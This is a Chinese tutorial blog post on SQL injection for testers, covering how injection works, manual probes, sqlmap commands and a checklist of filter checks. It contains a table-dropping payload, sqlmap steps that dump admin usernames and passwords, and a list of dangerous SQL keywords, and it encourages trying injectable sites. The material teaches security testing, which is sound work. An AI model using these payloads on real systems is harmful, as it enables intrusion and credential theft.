<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          SQL注入,你真的了解嗎?

          共 4010字,需瀏覽 9分鐘

           ·

          2021-03-25 13:55

          • 背景

            之前在測試培訓(xùn)時,簡要提到了安全測試,于是以此為起點,就去了解了一些安全測試相關(guān)的內(nèi)容。sql注入便是其中的一部分。

          • 簡介

            SQL 注入是一種專門針對SQL語句的攻擊方式。通過把SQL命令插入到web表單提交、輸入域名或者頁面請求的查詢字符串中,利用現(xiàn)有的程序,來非法獲取后臺的數(shù)據(jù)庫中的信息。在web的測試中涉及到的會比較多些。

          • 注入原理

           存在注入的原因是后臺在編寫程序時,沒有對用戶輸入的數(shù)據(jù)做過濾。

           例:

          1. 用戶在某個輸入框提交的參數(shù)是123   瀏覽器提交的URL為: http://www.xxx.com/index.php?id=123   服務(wù)器后臺執(zhí)行SQL語句:select * from table1 where id = 123   此時是沒有任何影響的。2. 如果用戶提交的參數(shù)是 123;drop table   服務(wù)器后臺執(zhí)行SQL語句: select * from table1 where id =123 ; drop table   相當(dāng)于后臺執(zhí)行了兩條SQL語句,查表,并且把table刪除, 從而導(dǎo)致了SQL注入。
          • 檢測注入的方法

                 目前主要有兩種檢測方式:

                 手工注入檢測流程

             1.  判斷是否存在注入點 

          www.abc.com/index.php?id=2'www.abc.com/index.php?id=2 and 1=1www.abc.com/index.php?id=2 and 1=2第2條返回正常,第1,3條返回不正常說明id參數(shù)存在注入漏洞

             2.  判定是否存在admin

          www.abc.com/index.php?id=2 and exists(select * from admin)   返回正常,存在admin

             3.  admin表中的字段名

          www.abc.com/index.php?id=2 and exists(select username from admin)  返回正常 表示admin表存在username字段

                 4.  檢測其他sql操作


                  工具檢測

                 sqlmap:  sqlmap是一個開源的滲透測試工具,可以用來進行自動化檢測,利用SQL注入漏洞,獲取數(shù)據(jù)庫服務(wù)器的權(quán)限。

                 1. 下載地址

          https://github.com/sqlmapproject/sqlmap.git 

                 2. 常用命令

          1) sqlmap.py -u "http://www.abc.com/index.asp?id=1"        判斷id參數(shù)是否存在注入:   若存在注入,嘗試執(zhí)行下面的步驟2) sqlmap.py -u "http://www.abc.com/index.asp?id=1" --dbs   列舉能列出的所有數(shù)據(jù)庫名3) sqlmap.py -u "http://www.abc.com/index.asp?id=1" --current-db   列出當(dāng)前使用的數(shù)據(jù)庫名,假設(shè)列出“sqltest”數(shù)據(jù)庫4) sqlmap.py -u "http://www.abc.com/index.asp?id=1" --is-dba   判斷該注入點是否有管理員權(quán)限:返回true 表示是管理員5) sqlmap.py -u "http://www.abc.com/index.asp?id=1" -D "sqltest" --tables   獲取sqltest中的所有表6) sqlmap.py -u "http://www.abc.com/index.asp?id=1" -D "sqltest" -T "admin" --columns   假設(shè)有"admin"表, 列舉表admin的字段(列名),假設(shè)存在"username","password"字段 7) sqlmap.py -u "http://www.abc.com/index.asp?id=1" -D "sqltest" -T "admin" -C "username,password" --dump   下載字段username,password的值,
          • 測試

                 以一個sqlmap檢測URL為例:

                 1. 檢測過程:     

                 2. 檢測結(jié)果:

                可知該次注入檢測沒有成功。感興趣的小伙伴可以尋找可注入的網(wǎng)址進行測試,更深入的內(nèi)容還需要進行更多的探索。


            1.輸入域的值為數(shù)字型,用1=1,1=2法
          若滿足條件,則存在SQL注入漏洞,程序沒有對提交的整型參數(shù)的合法性做過濾或判斷

            2.輸入域的值為字符型,用 ’1=1’, ’1=2’ 法
          若滿足條件,則存在SQL注入漏洞,程序沒有對提交的字符型參數(shù)的合法性做過濾或判斷

            3.輸入域中的值為搜索型,用’and [查詢條件] and ‘%’=’% 等
          若滿足條件,則存在SQL注入漏洞,程序沒有對提交的查詢的合法性做過濾或判斷

            4.用UNION查詢語句
          用Union可以連接查詢,從而從其他表中得到信息

            5.大小寫排查
          程序員對大小寫的過濾不充分時,會忽視大小寫混合的情況,容易存在漏洞

            6.用UNICODE字符集檢查
          用UNICODE字符集轉(zhuǎn)化的輸入,會把+號轉(zhuǎn)為%2B,把%號轉(zhuǎn)化為%25等,容易忽略過濾

            7.用ASCII碼檢查
          把輸入的字符用ASCII碼代替,如a=char(97),容易忽略過濾。
            8.用;號或—號檢查
          分號;在SQLServer中表示隔開前后兩句語句,--表示后面的語句為注釋,容易忽略過濾

            9.利用系統(tǒng)表
          通過查詢數(shù)據(jù)庫的系統(tǒng)表名,可判斷具體用的數(shù)據(jù)庫類型

            10.利用數(shù)據(jù)庫服務(wù)器的系統(tǒng)變量user 等
          可以得到數(shù)據(jù)庫名,數(shù)據(jù)庫的用戶名,從而進行進一步攻擊

            11.利用相關(guān)函數(shù)
          若字符是中文的,比如where name=’用戶’,可以用where name=nchar(29992)+nchar(25143)代替。

            12.界面輸入框中是否對SQL敏感字符進行了屏蔽
          "exec" ,"xp_","sp_","declare","Union","cmd","+","http://","..",";","'","--","%" 等命令關(guān)鍵字

            13.是否對SQL腳本語法出錯信息進行了屏蔽
          有些SQL注入的目的就是為了看到報錯的SQL命令,通過分析這些SQL命令,獲取關(guān)鍵的數(shù)據(jù)庫名,表名以及字段名等信息

            14.在瀏覽器的地址欄中是否對一些恒等表達式進行了屏蔽
          例如:http://www.321cn. Com /showdetail.asp?id=19 and 1=1

            15.對于提交表單的瀏覽器地址是否進行了敏感字符或命令集的屏蔽

            16.對于cookie參數(shù)提交部分

          是否對于cookie文件進行了敏感字符或命令集的屏蔽,前提是設(shè)計或需求允許這樣的操作。


          -------- THE END --------

          ??

          瀏覽 57
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          評論
          圖片
          表情
          推薦
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  天天爱夜夜爱 | 亚洲淫色电影 | 午夜福利视频一区二区 | 免费操逼电影 | 国产玖玖在线 |